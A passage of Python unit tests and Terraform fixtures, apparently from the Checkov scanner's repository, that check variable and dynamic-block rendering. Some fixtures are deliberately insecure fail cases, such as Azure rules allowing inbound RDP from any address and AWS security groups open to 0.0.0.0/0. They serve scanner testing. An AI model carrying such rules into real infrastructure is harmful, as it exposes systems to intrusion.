graph_manager = TerraformGraphManager('m', ['m'])\n        local_graph, _ = graph_manager.build_graph_from_source_directory(\n            os.path.join(TEST_DIRNAME, \"test_resources\", \"dynamic_blocks_null_lookup\"), render_variables=True)\n        resources_vertex = list(filter(lambda v: v.block_type == BlockType.RESOURCE, local_graph.vertices))\n        assert len(resources_vertex[0].attributes.get('ingress')) == 2\n        assert resources_vertex[0].attributes.get('ingress')[0].get('ipv6_cidr_blocks') == 'null'\n        assert resources_vertex[0].attributes.get('ingress')[0].get('self') == 'false'\n        assert resources_vertex[0].attributes.get('ingress')[0].get('cidr_blocks') == ['10.248.180.0/23', '10.248.186.0/23']\n\n    def test_dynamic_with_conditional_expression(self):\n        graph_manager = TerraformGraphManager('m', ['m'])\n        local_graph, _ = graph_manager.build_graph_from_source_directory(\n            os.path.join(TEST_DIRNAME, \"test_resources\", \"dynamic_with_conditional_expression\"), render_variables=True)\n        resources_vertex = list(filter(lambda v: v.block_type == BlockType.RESOURCE, local_graph.vertices))\n        assert resources_vertex[0].attributes.get('identity').get('identity_ids') == 'null'\n        assert resources_vertex[0].attributes.get('identity').get('type') == 'SystemAssigned'\n\n    def test_lookup_from_var(self):\n        graph_manager = TerraformGraphManager('m', ['m'])\n        local_graph, _ = graph_manager.build_graph_from_source_directory(\n            os.path.join(TEST_DIRNAME, \"test_resources\", \"lookup_from_var\"), render_variables=True)\n        resources_vertex = list(filter(lambda v: v.block_type == BlockType.RESOURCE, local_graph.vertices))\n        assert resources_vertex[0].attributes.get('protocol')[0] == 'http'\n        assert resources_vertex[0].attributes.get('endpoint')[0] == 'http://www.example.com'\n\n    def test_skip_rendering_unsupported_values(self):\n        # given\n        resource_path = Path(TEST_DIRNAME) / \"test_resources/skip_renderer\"\n\n        # when\n        graph_manager = TerraformGraphManager('m', ['m'])\n        local_graph, _ = graph_manager.build_graph_from_source_directory(str(resource_path), render_variables=True)\n\n        # then\n        local_b = next(vertex for vertex in local_graph.vertices if vertex.block_type == BlockType.LOCALS and vertex.name == \"b\")\n        assert local_b.attributes[\"b\"] == [\"...\"]  # not Ellipsis object\n\n    def test_default_map_value(self):\n        # given\n        resource_path = Path(TEST_DIRNAME) / \"test_resources/default_map_value\"\n\n        # when\n        graph_manager = TerraformGraphManager('m', ['m'])\n        local_graph, _ = graph_manager.build_graph_from_source_directory(str(resource_path), render_variables=True)\n\n        # then\n        key_vault = next(vertex for vertex in local_graph.vertices if vertex.block_type == BlockType.RESOURCE and vertex.name == \"azurerm_key_vault.this\")\n        assert key_vault.attributes[\"network_acls\"] == {\n            \"bypass\": \"AzureServices\",\n            \"default_action\": \"Deny\",\n            \"ip_rules\": [],\n            \"virtual_network_subnet_ids\": []\n        }\n\n    def test_provider_alias(self):\n        # given\n        resource_path = Path(TEST_DIRNAME) / \"test_resources/provider_alias\"\n\n        # when\n        graph_manager = TerraformGraphManager('m', ['m'])\n        local_graph, _ = graph_manager.build_graph_from_source_directory(str(resource_path), render_variables=True)\n\n        # then\n        provider = next(vertex for vertex in local_graph.vertices if vertex.block_type == BlockType.PROVIDER and vertex.name == \"aws\")\n        assert provider.config[\"aws\"][\"default_tags\"] == [{\"tags\": [{\"test\": \"Test\"}]}]\n\n        provider_alias = next(vertex for vertex in local_graph.vertices if vertex.block_type == BlockType.PROVIDER and vertex.name == \"aws.test\")\n        assert provider_alias.config[\"aws\"][\"default_tags\"] == [{\"tags\": [{\"test\": \"Test\"}]}]\n\n    def test_multiple_dynamic_blocks_value_not_supporting(self):\n        resource_paths = [\n            os.path.join(TEST_DIRNAME, 'test_resources', 'multiple_dynamic_blocks'),\n        ]\n        for path in resource_paths:\n            graph_manager = TerraformGraphManager('m', ['m'])\n            local_graph, _ = graph_manager.build_graph_from_source_directory(path, render_variables=True)\n\n            resources_vertex = list(filter(lambda v: v.block_type == BlockType.RESOURCE and v.has_dynamic_block, local_graph.vertices))\n            value_block_1 = resources_vertex[0].config['google_sql_database_instance']['instance4-should-fail']['settings'][0]['ip_configuration'][0]['dynamic'][0]['authorized_networks']['content'][0]['value']\n            value_block_2 = resources_vertex[0].config['google_sql_database_instance']['instance4-should-fail']['settings'][0]['ip_configuration'][0][\n                'dynamic'][1]['authorized_networks']['content'][0]['value']\n            # TODO - for now we don't support multiple dynamic blocks - the value_block_1 and value_block_2 needs to be different and not override each other\n            assert not value_block_1 != value_block_2\n\n\n    def test_foreach_with_tfvars(self):\n        # given\n        resources_dir = Path(TEST_DIRNAME) / \"resources/foreach_examples/foreach_tfvars\"\n        graph_manager = TerraformGraphManager(\"m\", [\"m\"])\n\n        # when\n        local_graph, _ = graph_manager.build_graph_from_source_directory(str(resources_dir), render_variables=True)\n\n        # then\n        resource = local_graph.vertices[local_graph.vertices_by_block_type[\"resource\"][0]]\n        self.assertDictEqual(\n            resource.config[\"google_project_iam_binding\"]['role[\"roles/run.developer\"]'],\n            {\n                \"__address__\": 'google_project_iam_binding.role[\"roles/run.developer\"]',\n                \"__end_line__\": 19,\n                \"__start_line__\": 11,\n                \"members\": [[\"user:captain.america@marvel.com\"]],\n                \"project\": [\"avengers\"],  # this is important it is correctly rendered\n                \"role\": [\"roles/run.developer\"],\n            },\n        )\n\n    def test_foreach_with_tfvars_tag_merge(self):\n        resource_path = os.path.join(TEST_DIRNAME, \"test_resources\", \"dynamic_blocks_tfvars_merge\")\n        graph_manager = TerraformGraphManager('m', ['m'])\n        local_graph, _ = graph_manager.build_graph_from_source_directory(resource_path, render_variables=True)\n        resources_vertex = list(filter(lambda v: v.block_type == BlockType.RESOURCE, local_graph.vertices))\n        self.assertDictEqual(resources_vertex[0].config['aws_instance']['this[\"vm1\"]'].get('tags')[0],\n                             {'Environment': 'prod', 'Department': 'Testing', 'Name': 'vm1'})\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/default_map_value/main.tf",
    "content": "resource \"azurerm_key_vault\" \"this\" {\n    name = var.kv_properties.name\n    network_acls {\n        bypass = var.kv_properties.nacl.bypass\n        default_action = var.kv_properties.nacl.default_action\n        ip_rules = var.kv_properties.nacl.ip_rules\n        virtual_network_subnet_ids = var.kv_properties.nacl.virtual_network_subnet_ids\n    }\n}\n\nvariable \"kv_properties\" {\n  type = object({\n    name = string\n    nacl = object({\n        bypass = string\n        default_action = string\n        ip_rules = list(string)\n        virtual_network_subnet_ids = list(string)\n    })\n  })\n  default = {\n    name = \"checkov_test\"\n    nacl = {\n      bypass = \"AzureServices\"\n      default_action = \"Deny\"\n      ip_rules = []\n      virtual_network_subnet_ids = []\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/dynamic_block_map_example/dynamic.tf",
    "content": "data \"azurerm_resource_group\" \"abc-azr-lab\" {\n  name = \"abc-azr-lab\"\n}\n\nresource \"azurerm_network_security_group\" \"dynamic_nsg_fail\" {\n  name                = var.nsg_name_fail\n  location            = data.azurerm_resource_group.abc-azr-lab.location\n  resource_group_name = data.azurerm_resource_group.abc-azr-lab.name\n\n  dynamic \"security_rule\" {\n    for_each = var.fail_nsg_rules\n    content {\n      name                       = security_rule.value[\"name\"]\n      priority                   = security_rule.value[\"priority\"]\n      direction                  = security_rule.value[\"direction\"]\n      access                     = security_rule.value[\"access\"]\n      protocol                   = security_rule.value[\"protocol\"]\n      source_port_range          = security_rule.value[\"source_port_range\"]\n      destination_port_range     = security_rule.value[\"destination_port_range\"]\n      source_address_prefix      = security_rule.value[\"source_address_prefix\"]\n      destination_address_prefix = security_rule.value[\"destination_address_prefix\"]\n    }\n  }\n}\n\nresource \"azurerm_network_security_group\" \"dynamic_nsg_pass\" {\n  name                = var.nsg_name_pass\n  location            = data.azurerm_resource_group.abc-azr-lab.location\n  resource_group_name = data.azurerm_resource_group.abc-azr-lab.name\n\n  dynamic \"security_rule\" {\n    for_each = var.pass_nsg_rules\n    content {\n      name                       = security_rule.value[\"name\"]\n      priority                   = security_rule.value[\"priority\"]\n      direction                  = security_rule.value[\"direction\"]\n      access                     = security_rule.value[\"access\"]\n      protocol                   = security_rule.value[\"protocol\"]\n      source_port_range          = security_rule.value[\"source_port_range\"]\n      destination_port_range     = security_rule.value[\"destination_port_range\"]\n      source_address_prefix      = security_rule.value[\"source_address_prefix\"]\n      destination_address_prefix = security_rule.value[\"destination_address_prefix\"]\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/dynamic_block_map_example/terraform.tfvars",
    "content": "subnet_list = [\n  {\n    name           = \"dynamic_subnet1\"\n    address_prefix = \"10.100.1.0/24\"\n    security_group = \"azurerm_network_security_group.dynamic_nsg_pass.id\"\n  },\n  {\n    name           = \"dynamic_subnet2\"\n    address_prefix = \"10.100.2.0/24\"\n    security_group = \"azurerm_network_security_group.dynamic_nsg_pass.id\"\n  },\n  {\n    name           = \"dynamic_subnet3\"\n    address_prefix = \"10.100.3.0/24\"\n    security_group = \"azurerm_network_security_group.dynamic_nsg_pass.id\"\n  }\n]\n\nfail_nsg_rules = [\n  {\n    name                       = \"AllowHttpIn\"\n    priority                   = 100\n    direction                  = \"Inbound\"\n    access                     = \"Allow\"\n    protocol                   = \"Tcp\"\n    source_port_range          = \"*\"\n    destination_port_range     = \"80\"\n    source_address_prefix      = \"*\"\n    destination_address_prefix = \"*\"\n  },\n  {\n    name                       = \"AllowHttpsIn\"\n    priority                   = 110\n    direction                  = \"Inbound\"\n    access                     = \"Allow\"\n    protocol                   = \"Tcp\"\n    source_port_range          = \"*\"\n    destination_port_range     = \"443\"\n    source_address_prefix      = \"*\"\n    destination_address_prefix = \"*\"\n  },\n  {\n    name                       = \"AllowRdpIn\"\n    priority                   = 120\n    direction                  = \"Inbound\"\n    access                     = \"Allow\"\n    protocol                   = \"Tcp\"\n    source_port_range          = \"*\"\n    destination_port_range     = \"3389\"\n    source_address_prefix      = \"*\"\n    destination_address_prefix = \"*\"\n  },\n  {\n    name                       = \"AllowIcmpIn\"\n    priority                   = 130\n    direction                  = \"Inbound\"\n    access                     = \"Allow\"\n    protocol                   = \"Icmp\"\n    source_port_range          = \"*\"\n    destination_port_range     = \"*\"\n    source_address_prefix      = \"*\"\n    destination_address_prefix = \"*\"\n  }\n]\n\n\npass_nsg_rules = [\n  {\n    name                       = \"DenyHttpIn\"\n    priority                   = 100\n    direction                  = \"Inbound\"\n    access                     = \"Deny\"\n    protocol                   = \"Tcp\"\n    source_port_range          = \"*\"\n    destination_port_range     = \"80\"\n    source_address_prefix      = \"*\"\n    destination_address_prefix = \"*\"\n  },\n  {\n    name                       = \"AllowHttpsIn\"\n    priority                   = 110\n    direction                  = \"Inbound\"\n    access                     = \"Allow\"\n    protocol                   = \"Tcp\"\n    source_port_range          = \"*\"\n    destination_port_range     = \"443\"\n    source_address_prefix      = \"35.181.123.80/32\"\n    destination_address_prefix = \"*\"\n  },\n  {\n    name                       = \"DenyRdpIn\"\n    priority                   = 120\n    direction                  = \"Inbound\"\n    access                     = \"Deny\"\n    protocol                   = \"Tcp\"\n    source_port_range          = \"*\"\n    destination_port_range     = \"3389\"\n    source_address_prefix      = \"*\"\n    destination_address_prefix = \"*\"\n  },\n  {\n    name                       = \"DenyIcmpIn\"\n    priority                   = 130\n    direction                  = \"Inbound\"\n    access                     = \"Deny\"\n    protocol                   = \"Icmp\"\n    source_port_range          = \"*\"\n    destination_port_range     = \"*\"\n    source_address_prefix      = \"*\"\n    destination_address_prefix = \"*\"\n  }\n]"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/dynamic_block_map_example/variables.tf",
    "content": "variable \"rg_name\" {\n  type    = string\n  default = \"abc-azr-lab\"\n}\n\nvariable \"rg_location\" {\n  type    = string\n  default = \"East US\"\n}\n\nvariable \"vnet_name\" {\n  type    = string\n  default = \"dynamic_vnet\"\n}\n\nvariable \"nsg_name_fail\" {\n  type    = string\n  default = \"dynamic_nsg_fail\"\n}\n\nvariable \"nsg_name_pass\" {\n  type    = string\n  default = \"dynamic_nsg_pass\"\n}\n\nvariable \"tags\" {\n  type    = list(string)\n  default = [\"testing\", \"dynamic_block\"]\n}\n\nvariable \"address_space\" {\n  type    = list(string)\n  default = [\"10.100.0.0/16\"]\n}\n\nvariable \"subnet_list\" {\n  type = list(object({\n    name           = string\n    address_prefix = string\n    security_group = string\n  }))\n  description = \"Values for each subnet\"\n}\n\nvariable \"fail_nsg_rules\" {\n  type = list(object({\n    name                       = string\n    priority                   = number\n    direction                  = string\n    access                     = string\n    protocol                   = string\n    source_port_range          = string\n    destination_port_range     = string\n    source_address_prefix      = string\n    destination_address_prefix = string\n  }))\n  description = \"Values for each NSG rule\"\n}\n\nvariable \"pass_nsg_rules\" {\n  type = list(object({\n    name                       = string\n    priority                   = number\n    direction                  = string\n    access                     = string\n    protocol                   = string\n    source_port_range          = string\n    destination_port_range     = string\n    source_address_prefix      = string\n    destination_address_prefix = string\n  }))\n  description = \"Values for each NSG rule\"\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/dynamic_block_nesting_attribute/main.tf",
    "content": "resource \"aws_s3_bucket\" \"this\" {\n  bucket = var.name\n\n  dynamic \"server_side_encryption_configuration\" {\n    for_each = var.sse\n\n    content {\n      rule {\n        apply_server_side_encryption_by_default {\n          kms_master_key_id = server_side_encryption_configuration.value.kms_master_key_id\n          sse_algorithm     = server_side_encryption_configuration.value.sse_algorithm\n        }\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/dynamic_block_nesting_attribute/variables.tf",
    "content": "variable \"versioning\" {\n  type = bool\n}\n\nvariable \"sse\" {\n  type = list(object({\n    kms_master_key_id = string\n    sse_algorithm     = string\n  }))\n  default = [{\n    kms_master_key_id = \"testkey1\"\n    sse_algorithm     = \"aws:kms\"\n    },\n    {\n      kms_master_key_id = \"testkey2\"\n      sse_algorithm     = \"aws:notkms\"\n\n  }]\n}\n\nvariable \"name\" {\n  description = \"Name of the bucket\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_map/main.tf",
    "content": "resource \"aws_network_acl\" \"network_acl\" {\n  vpc_id = data.aws_vpc\n\n  dynamic \"ingress\" {\n    for_each = var.http_headers\n    content {\n      rule_no    = ingress.value.num\n      protocol   = ingress.value.protoc\n      action     = \"allow\"\n      cidr_block = ingress.value.values\n      from_port  = 22\n      to_port    = 22\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_map/variables.tf",
    "content": "variable \"http_headers\" {\n  type = list(object({\n    num    = number\n    values = string\n  }))\n  default = [{\n    \"num\": 1,\n    \"protoc\": \"tcp\",\n    \"values\": \"10.0.0.1/32\"\n  },\n  {\n    \"num\": 2,\n    \"protoc\": \"tcp\",\n    \"values\": \"10.0.0.2/32\"\n  }]\n}\n\nvariable \"aws_vpc\" {\n  default = true\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_map_brackets/main.tf",
    "content": "resource \"aws_network_acl\" \"network_acl\" {\n  vpc_id = data.aws_vpc\n\n  dynamic \"ingress\" {\n    for_each = var.http_headers\n    content {\n      rule_no    = ingress.value[\"num\"]\n      protocol   = ingress.value[\"protoc\"]\n      action     = \"allow\"\n      cidr_block = ingress.value[\"values\"]\n      from_port  = 22\n      to_port    = 22\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_map_brackets/variables.tf",
    "content": "variable \"http_headers\" {\n  type = list(object({\n    num    = number\n    values = string\n  }))\n  default = [{\n    \"num\": 1,\n    \"protoc\": \"tcp\",\n    \"values\": \"10.0.0.1/32\"\n  },\n  {\n    \"num\": 2,\n    \"protoc\": \"tcp\",\n    \"values\": \"10.0.0.2/32\"\n  }]\n}\n\nvariable \"aws_vpc\" {\n  default = true\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_null_lookup/examples/simple/main.tf",
    "content": "module \"secgrp-1\" {\n  source = \"../../\"\n  name   = \"project-abc\"\n\n  vpc_id  = var.vpc_id\n  ingress = var.ingress\n  egress  = var.egress\n\n  tags = {\n    Tier       = \"Application\"\n    Allocation = \"1234\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_null_lookup/examples/simple/variables.tf",
    "content": "variable \"vpc_id\" {\n}\n\nvariable \"ingress\" {\n  default = [\n    {\n      cidr_blocks = [\n        \"10.248.186.0/23\",\n        \"10.248.180.0/23\",\n      ]\n      from_port   = \"22\"\n      to_port     = \"22\"\n      protocol    = \"tcp\"\n      description = \"Allow connectivity from Atlanta VPN\"\n    },\n    {\n      cidr_blocks = [\n        \"10.248.80.0/23\",\n        \"10.248.86.0/23\",\n      ]\n      from_port   = \"22\"\n      to_port     = \"22\"\n      protocol    = \"tcp\"\n      description = \"Allow connectivity from Miami VPN\"\n    },\n  ]\n}\n\nvariable \"egress\" {\n  default = [\n    {\n      cidr_blocks = [\n        \"0.0.0.0/0\",\n      ]\n      from_port   = 0\n      to_port     = 0\n      protocol    = \"-1\"\n      self        = false\n      description = \"\"\n    },\n  ]\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_null_lookup/main.tf",
    "content": "resource \"aws_security_group\" \"this\" {\n  count       = var.vpc_id != \"\" ? 1 : 0\n  name        = format(\"%s-sg\", var.name)\n  description = format(\"Security Group for %s\", var.name)\n  vpc_id      = var.vpc_id\n\n  dynamic \"ingress\" {\n    for_each = var.ingress\n    content {\n      cidr_blocks      = lookup(ingress.value, \"cidr_blocks\", null)\n      ipv6_cidr_blocks = lookup(ingress.value, \"ipv6_cidr_blocks\", null)\n      prefix_list_ids  = lookup(ingress.value, \"prefix_list_ids\", null)\n      from_port        = lookup(ingress.value, \"from_port\")\n      to_port          = lookup(ingress.value, \"to_port\")\n      protocol         = lookup(ingress.value, \"protocol\", \"tcp\")\n      security_groups  = lookup(ingress.value, \"security_groups\", null)\n      self             = lookup(ingress.value, \"self\", false)\n      description      = lookup(ingress.value, \"description\")\n    }\n  }\n\n  dynamic \"egress\" {\n    for_each = var.egress\n    content {\n      cidr_blocks      = lookup(egress.value, \"cidr_blocks\", null)\n      ipv6_cidr_blocks = lookup(egress.value, \"ipv6_cidr_blocks\", null)\n      prefix_list_ids  = lookup(egress.value, \"prefix_list_ids\", null)\n      from_port        = lookup(egress.value, \"from_port\")\n      to_port          = lookup(egress.value, \"to_port\")\n      protocol         = lookup(egress.value, \"protocol\", \"tcp\")\n      security_groups  = lookup(egress.value, \"security_groups\", null)\n      self             = lookup(egress.value, \"self\", false)\n      description      = lookup(egress.value, \"description\")\n    }\n  }\n\n  tags = merge(\n    {\n      Name = format(\"%s-sg\", var.name)\n    },\n    var.tags\n  )\n\n  lifecycle {\n    create_before_destroy = true\n  }\n\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_null_lookup/variables.tf",
    "content": "variable \"name\" {\n  type        = string\n  description = \"(Required, Forces new resource) The name of the security group.\"\n}\n\nvariable \"description\" {\n  type        = string\n  description = \"(Optional, Forces new resource) The security group description. Defaults to 'Managed by Terraform'. Cannot be \\\"\\\". NOTE: This field maps to the AWS GroupDescription attribute, for which there is no Update API. If you'd like to classify your security groups in a way that can be updated, use tags.\"\n  default     = \"Managed by Terraform\"\n}\n\nvariable \"ingress\" {\n  type        = any\n  description = \"(Optional) Can be specified multiple times for each ingress rule. Each ingress block supports fields documented below. This argument is processed in <a href='https://www.terraform.io/docs/configuration/attr-as-blocks.html'>attribute-as-blocks</a> mode.\"\n  default = [\n  ]\n}\n\nvariable \"egress\" {\n  type        = any\n  description = \"(Optional, VPC only) Can be specified multiple times for each egress rule. Each egress block supports fields documented below. This argument is processed in <a href='https://www.terraform.io/docs/configuration/attr-as-blocks.html'>attribute-as-blocks</a> mode.\"\n  default = [\n  ]\n}\n\nvariable \"revoke_rules_on_delete\" {\n  type        = bool\n  description = \"(Optional) Instruct Terraform to revoke all of the Security Groups attached ingress and egress rules before deleting the rule itself. This is normally not needed, however certain AWS services such as Elastic Map Reduce may automatically add required rules to security groups used with the service, and those rules may contain a cyclic dependency that prevent the security groups from being destroyed without removing the dependency first. Default false\"\n  default     = false\n}\n\nvariable \"vpc_id\" {\n  type        = string\n  description = \"(Required, Forces new resource) The VPC ID.\"\n}\n\nvariable \"tags\" {\n  type        = map(string)\n  description = \"Map of tags to add to the resources\"\n  default     = {}\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_resource/dynamic_block_with_list.tf",
    "content": "locals {\n inbound_ports  = [80, 443]\n outbound_ports = [443, 1433]\n}\n\nresource \"aws_security_group\" \"list_example\" {\n name        = \"list-example\"\n\n dynamic \"ingress\" {\n   for_each = local.inbound_ports\n   content {\n     from_port   = ingress.value\n     to_port     = ingress.value\n     protocol    = \"tcp\"\n     cidr_blocks = [\"0.0.0.0/0\"]\n   }\n }\n\n dynamic \"egress\" {\n   for_each = local.outbound_ports\n   content {\n     from_port   = egress.value\n     to_port     = egress.value\n     protocol    = \"tcp\"\n     cidr_blocks = [\"0.0.0.0/0\"]\n   }\n }\n}\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_tfvars/main.tf",
    "content": "resource \"aws_security_group\" \"list_example\" {\n name        = \"list-example\"\n\n dynamic \"ingress\" {\n   for_each = var.dynamic.inbound_ports\n   content {\n     from_port   = ingress.value\n     to_port     = ingress.value\n     protocol    = \"tcp\"\n     cidr_blocks = [\"0.0.0.0/0\"]\n   }\n }\n\n dynamic \"egress\" {\n   for_each = var.dynamic.outbound_ports\n   content {\n     from_port   = egress[\"value\"]\n     to_port     = egress[\"value\"]\n     protocol    = \"tcp\"\n     cidr_blocks = [\"0.0.0.0/0\"]\n   }\n }\n}\n\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_tfvars/terraform.tfvars",
    "content": "dynamic = {\n inbound_ports  = [80, 443]\n outbound_ports = [443, 1433]\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_tfvars/variables.tf",
    "content": "variable \"dynamic\" {\n description = \"TODO\"\n  type = object({\n          outbound_ports  = list(string)\n          inbound_ports   = list(string)\n    })\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_tfvars_merge/main.tf",
    "content": "\nresource \"aws_instance\" \"this\" {\n  for_each = { for host in var.vmhosts : host.name => host }\n\n  instance_type          = var.instance_type\n  key_name               = var.key_name\n  private_ip             = each.value.private_ip\n  monitoring             = each.value.monitoring\n  \n  tags = merge(each.value.tags, { Name = each.value.name }, {})\n\n}\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_tfvars_merge/terraform.tfvars",
    "content": "\nkey_name                = \"test1\"\nvmhosts = [\n    {\n        name            = \"vm1\"\n        monitoring      = false\n        tags            = { Environment = \"prod\", Department = \"Testing\" }\n        private_ip      = \"11.101.33.254\"\n        ports           = [ 22 ]\n    },    \n    {\n        name            = \"vm2\"\n        monitoring      = false\n        tags            = { Environment = \"Test\" }\n        private_ip      = \"22.212.0.200\"\n        ports           = [ 80 ]\n    }      \n]\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_tfvars_merge/variables.tf",
    "content": "variable \"instance_type\" {\n  default = \"t3.small\"\n}\n\nvariable \"key_name\" {\n  type = string\n}\n\nvariable \"vmhosts\" {\n  description = \"VM hosts with configuration\"\n  type = list(object({\n    name           = string\n    monitoring     = bool\n    tags           = map(string)\n    private_ip     = string\n    ports          = list(number)\n  }))\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_variable_rendering/main.tf",
    "content": "resource \"aws_security_group\" \"list_example\" {\n name        = \"list-example\"\n\n dynamic \"ingress\" {\n   for_each = var.dynamic.inbound_ports\n   content {\n     from_port   = ingress.value\n     to_port     = ingress.value\n     protocol    = \"tcp\"\n     cidr_blocks = [\"0.0.0.0/0\"]\n   }\n }\n\n dynamic \"egress\" {\n   for_each = var.dynamic.outbound_ports\n   content {\n     from_port   = egress.value\n     to_port     = egress.value\n     protocol    = \"tcp\"\n     cidr_blocks = [\"0.0.0.0/0\"]\n   }\n }\n}\n\nresource \"aws_security_group\" \"single_dynamic_example\" {\n name        = \"list-example\"\n\n dynamic \"ingress\" {\n   for_each = var.dynamic.inbound_ports\n   content {\n     from_port   = ingress.value\n     to_port     = ingress.value\n     protocol    = \"tcp\"\n     cidr_blocks = [\"0.0.0.0/0\"]\n   }\n }\n}\n\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_variable_rendering/variables.tf",
    "content": "variable \"dynamic\" {\n inbound_ports  = [80, 443]\n outbound_ports = [443, 1433]\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_with_nested/main.tf",
    "content": "resource \"azuread_application\" \"bootstrap\" {\n  name                       = \"test\"\n  type                       = \"webapp/api\"\n  group_membership_claims    = \"All\"\n\n  dynamic \"required_resource_access\" {\n    for_each = var.required_resource_access\n    content {\n      resource_app_id = required_resource_access.value.resource_app_id\n\n      dynamic \"resource_access\" {\n        for_each = required_resource_access.value.resource_access\n        content {\n          id   = resource_access.value.id\n          type = resource_access.value.type\n        }\n      }\n    }\n  }\n  display_name = \"\"\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/dynamic_blocks_with_nested/variables.tf",
    "content": "variable required_resource_access {\n  type = list(object({\n    resource_app_id = string\n    resource_access = list(object({\n      id   = string\n      type = string\n    }))\n  }))\n\n  default = [{\n    resource_app_id = \"00000003-0000-0000-c000-000000000000\"\n    resource_access = [{\n      id   = \"7ab1d382-f21e-4acd-a863-ba3e13f7da61\"\n      type = \"Role\"\n    }]\n  }]\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/dynamic_nested_with_lookup_foreach/aws_iam_role.pipeline.tf",
    "content": "resource \"aws_iam_role\" \"pipeline\" {\n  count = var.role_arn == \"\" ? 1 : 0\n  name  = local.role_name\n  path  = \"/service-role/\"\n\n  assume_role_policy = <<POLICY\n{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"Service\": \"codepipeline.amazonaws.com\"\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\nPOLICY\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/dynamic_nested_with_lookup_foreach/aws_kms_key.example.tf",
    "content": "resource \"aws_kms_key\" \"example\" {\n  enable_key_rotation = true\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/dynamic_nested_with_lookup_foreach/data.aws_region.current.tf",
    "content": "data \"aws_region\" \"current\" {}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/dynamic_nested_with_lookup_foreach/examplea.auto.tfvars",
    "content": "description = \"\"\nname        = \"cron-poll\"\nstages = [\n  {\n    name = \"Source\"\n    action = [{\n      name     = \"Source\"\n      category = \"Source\"\n      owner    = \"AWS\"\n      provider = \"CodeCommit\"\n      version  = \"1\"\n      configuration = {\n        BranchName           = \"master\"\n        PollForSourceChanges = \"false\"\n        RepositoryName       = \"cron-poll\"\n      }\n      input_artifacts  = []\n      output_artifacts = [\"SourceArtifact\"]\n      run_order        = 1\n    }]\n  },\n  {\n    name = \"Build\"\n    action = [{\n      name             = \"Build\"\n      category         = \"Build\"\n      owner            = \"AWS\"\n      provider         = \"CodeBuild\"\n      input_artifacts  = [\"SourceArtifact\"]\n      output_artifacts = [\"BuildArtifact\"]\n      version          = \"1\"\n      run_order        = 2\n      configuration = {\n        ProjectName = \"cron-poll\"\n      }\n    }]\n  },\n  {\n    name = \"Deploy\"\n    action = [{\n      name             = \"Deploy\"\n      category         = \"Deploy\"\n      owner            = \"AWS\"\n      provider         = \"ECS\"\n      version          = \"1\"\n      input_artifacts  = [\"BuildArtifact\"]\n      output_artifacts = []\n      configuration = {\n        ClusterName = \"test\"\n        ServiceName = \"cron-poll\"\n      }\n      run_order = 4\n    }]\n  }\n]\n\ncommon_tags = {\n  name   = \"aws-codebuild-container\"\n  module = \"JamesWoolfenden/codepipeline/aws\"\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/dynamic_nested_with_lookup_foreach/locals.tf",
    "content": "locals {\n  role_arn  = var.role_arn == \"\" ? aws_iam_role.pipeline.0.arn : var.role_arn\n  role_name = var.role_arn == \"\" ? \"AWSCodePipelineServiceRole-${data.aws_region.current.name}-${var.name}\" : \"\"\n}\n\nlocals {\n  artifact_store = {\n    location = \"codepipeline-${data.aws_region.current.name}-${data.aws_caller_identity.current.account_id}\"\n  type = \"S3\" }\n}\n\ndata \"aws_caller_identity\" \"current\" {}\ndata \"aws_region\" \"current\" {}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_resources/dynamic_nested_with_lookup_foreach/main.tf",
